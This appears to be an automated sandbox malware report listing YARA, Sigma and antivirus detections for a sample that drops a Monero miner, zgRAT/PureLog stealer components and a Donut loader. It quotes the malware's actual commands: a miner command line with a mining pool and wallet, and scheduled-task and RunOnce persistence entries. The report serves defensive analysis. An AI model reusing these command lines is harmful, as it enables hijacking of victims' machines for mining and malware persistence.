0000001B.00000003.2771554480.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2961157579.0000020E498F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2770178263.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2673013794.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2760641243.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2971778971.0000020E495F3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2765139328.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2971339077.0000020E495EF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2764927688.00000159F3472000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2692757034.0000021E034D5000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x1259d:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000018.00000003.2659255671.0000021E03669000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2918637105.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2780772219.00000159F3897000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2660730785.0000021E03194000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2759580916.00000159F38CA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2688132576.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2777007339.00000159F3627000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2759580916.00000159F3891000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2918637105.0000020E4982A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2764697915.00000159F3492000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2660087797.0000021E03537000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2766881524.00000159F346E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2766881524.00000159F3479000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2661359746.0000021E0318E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2782280474.00000159F360F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2787221813.00000159F345E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2686476457.0000021E03798000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2784484927.00000159F3484000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2779479672.00000159F38FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2759055860.00000159F3891000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2790709240.00000159F361A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2791398929.00000159F3460000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2663760300.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2970680561.0000020E4949C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2969262618.0000020E49491000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x4ba21:$s1: file:/// 0x4b97d:$s2: {11111-22222-10009-11112} 0x4b9b1:$s3: {11111-22222-50001-00000} 0x465b0:$s4: get_Module 0x46a33:$s5: Reverse 0x4b124:$s6: BlockCopy 0x46daf:$s7: ReadByte 0x4ba33:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0000001F.00000003.2931335674.0000020E495E1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2781349798.00000159F360F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2662087897.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2689684395.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2918637105.0000020E497F6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000003.2692958541.0000021E0318C000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xd03bd:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000018.00000003.2689532030.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001B.00000003.2801216518.00000159F349D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001F.00000003.2920893388.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: FRaqbC8wSA1XvpFVjCRGryWt.exe PID: 6680	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: MSBuild.exe PID: 4092	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: sys_updater.exe PID: 5928	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: sys_updater.exe PID: 5232	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: sys_updater.exe PID: 2380	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 130 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c770000.3.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c770000.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c770000.3.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x75421:$s1: file:/// 0x7537d:$s2: {11111-22222-10009-11112} 0x753b1:$s3: {11111-22222-50001-00000} 0x6ffb0:$s4: get_Module 0x70433:$s5: Reverse 0x74b24:$s6: BlockCopy 0x707af:$s7: ReadByte 0x75433:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x4ba21:$s1: file:/// 0x4b97d:$s2: {11111-22222-10009-11112} 0x4b9b1:$s3: {11111-22222-50001-00000} 0x465b0:$s4: get_Module 0x46a33:$s5: Reverse 0x4b124:$s6: BlockCopy 0x46daf:$s7: ReadByte 0x4ba33:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.HM3SOlbpH71yEXUIEAOeIiGX.exe.6c79b000.4.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x49c21:$s1: file:/// 0x49b7d:$s2: {11111-22222-10009-11112} 0x49bb1:$s3: {11111-22222-50001-00000} 0x447b0:$s4: get_Module 0x44c33:$s5: Reverse 0x49324:$s6: BlockCopy 0x44faf:$s7: ReadByte 0x49c33:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.2.MSBuild.exe.400000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x4ba21:$s1: file:/// 0x4b97d:$s2: {11111-22222-10009-11112} 0x4b9b1:$s3: {11111-22222-50001-00000} 0x465b0:$s4: get_Module 0x46a33:$s5: Reverse 0x4b124:$s6: BlockCopy 0x46daf:$s7: ReadByte 0x4ba33:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.fbb9d4.3.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.f363d4.1.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.fe518c.2.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
24.3.sys_updater.exe.21e0345551d.1.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
24.3.sys_updater.exe.21e0345551d.1.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x132cd3:$x1: donate.ssl.xmrig.com 0x132dc3:$x1: donate.ssl.xmrig.com 0x1481a3:$x1: donate.ssl.xmrig.com 0x148943:$x1: donate.ssl.xmrig.com 0x22bd03:$x1: donate.ssl.xmrig.com 0x22bf13:$x1: donate.ssl.xmrig.com 0x247bc3:$x1: donate.ssl.xmrig.com 0x247fc3:$x1: donate.ssl.xmrig.com 0x330963:$x1: donate.ssl.xmrig.com 0x330a53:$x1: donate.ssl.xmrig.com
24.3.sys_updater.exe.21e034544fd.2.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
24.3.sys_updater.exe.21e034544fd.2.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x133cf3:$x1: donate.ssl.xmrig.com 0x133de3:$x1: donate.ssl.xmrig.com 0x1491c3:$x1: donate.ssl.xmrig.com 0x149963:$x1: donate.ssl.xmrig.com 0x22cd23:$x1: donate.ssl.xmrig.com 0x22cf33:$x1: donate.ssl.xmrig.com 0x248be3:$x1: donate.ssl.xmrig.com 0x248fe3:$x1: donate.ssl.xmrig.com 0x331983:$x1: donate.ssl.xmrig.com 0x331a73:$x1: donate.ssl.xmrig.com
9.3.IIZS2TRqf69aZbLAX3cf3edn.exe.234d5ad04cd.3.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x900c0:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.f20000.0.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
24.3.sys_updater.exe.21e034544fd.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
24.3.sys_updater.exe.21e034544fd.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x133cf3:$x1: donate.ssl.xmrig.com 0x133de3:$x1: donate.ssl.xmrig.com 0x1491c3:$x1: donate.ssl.xmrig.com 0x149963:$x1: donate.ssl.xmrig.com 0x22cd23:$x1: donate.ssl.xmrig.com 0x22cf33:$x1: donate.ssl.xmrig.com 0x248be3:$x1: donate.ssl.xmrig.com 0x248fe3:$x1: donate.ssl.xmrig.com 0x331983:$x1: donate.ssl.xmrig.com 0x331a73:$x1: donate.ssl.xmrig.com
9.3.IIZS2TRqf69aZbLAX3cf3edn.exe.234d5ad10e5.2.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x8f4a8:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
31.3.sys_updater.exe.20e49503455.3.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
31.3.sys_updater.exe.20e49503455.3.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x413ceb:$x1: donate.ssl.xmrig.com 0x413ddb:$x1: donate.ssl.xmrig.com 0x4291bb:$x1: donate.ssl.xmrig.com 0x42995b:$x1: donate.ssl.xmrig.com
27.3.sys_updater.exe.159f35a4885.0.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x39ed18:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
31.3.sys_updater.exe.20e4950304d.2.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
31.3.sys_updater.exe.20e4950304d.2.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4140f3:$x1: donate.ssl.xmrig.com 0x4141e3:$x1: donate.ssl.xmrig.com 0x4295c3:$x1: donate.ssl.xmrig.com 0x429d63:$x1: donate.ssl.xmrig.com
31.3.sys_updater.exe.20e494ac50d.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
31.3.sys_updater.exe.20e494ac50d.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x46ac33:$x1: donate.ssl.xmrig.com 0x46ad23:$x1: donate.ssl.xmrig.com 0x480103:$x1: donate.ssl.xmrig.com 0x4808a3:$x1: donate.ssl.xmrig.com
31.3.sys_updater.exe.20e494ac915.1.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
31.3.sys_updater.exe.20e494ac915.1.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x46a82b:$x1: donate.ssl.xmrig.com 0x46a91b:$x1: donate.ssl.xmrig.com 0x47fcfb:$x1: donate.ssl.xmrig.com 0x48049b:$x1: donate.ssl.xmrig.com
Click to see the 28 entries

Sigma Signatures

Bitcoin Miner

Sigma detected: Xmrig

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe, ParentCommandLine: "C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe", ParentImage: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe, ParentProcessId: 6612, ParentProcessName: IIZS2TRqf69aZbLAX3cf3edn.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:10300 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2 -p x --algo rx/0 --cpu-max-threads-hint=50, ProcessId: 6560, ProcessName: AddInProcess.exe

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\RPHbzz3JqY.exe, ProcessId: 6488, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\explert.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\RPHbzz3JqY.exe, ProcessId: 6488, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\explert.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F, CommandLine: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe, ParentImage: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe, ParentProcessId: 2852, ParentProcessName: explert.exe, ProcessCommandLine: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F, ProcessId: 2004, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F, CommandLine: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\RPHbzz3JqY.exe", ParentImage: C:\Users\user\Desktop\RPHbzz3JqY.exe, ParentProcessId: 6488, ParentProcessName: RPHbzz3JqY.exe, ProcessCommandLine: C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F, ProcessId: 6684, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: RPHbzz3JqY.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Avira: detection malicious, Label: HEUR/AGEN.1319014
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Avira: detection malicious, Label: HEUR/AGEN.1310947

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	ReversingLabs: Detection: 83%
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Virustotal: Detection: 75%	Perma Link
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	ReversingLabs: Detection: 83%
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Virustotal: Detection: 74%	Perma Link

Multi AV Scanner detection for submitted file

Source: RPHbzz3JqY.exe	ReversingLabs: Detection: 60%
Source: RPHbzz3JqY.exe	Virustotal: Detection: 56%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: RPHbzz3JqY.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 24.3.sys_updater.exe.21e0345551d.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.sys_updater.exe.21e034544fd.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.sys_updater.exe.21e034544fd.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.sys_updater.exe.20e49503455.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.sys_updater.exe.20e4950304d.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.sys_updater.exe.20e494ac50d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.sys_updater.exe.20e494ac915.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000003.2663527189.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2780772219.00000159F38CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2686476457.0000021E03768000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2783975569.00000159F3470000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2780772219.00000159F38FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2922120647.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2661359746.0000021E031A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2762360259.00000159F3465000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2689396075.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2659972614.0000021E03194000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2915091882.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2770549430.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2761279906.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2759055860.00000159F38C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2661205668.0000021E03151000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2686476457.0000021E03734000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2686049114.0000021E03765000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2778870088.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2659255671.0000021E03635000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2915091882.0000020E49827000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2689396075.0000021E03062000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2961157579.0000020E498C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2686476457.0000021E0372E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2686049114.0000021E0373E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2769879693.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2659255671.0000021E0362F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2687199973.0000021E0305A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2660087797.0000021E03581000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2801216518.00000159F3492000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2760278744.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2666668474.0000021E031A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2767124522.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
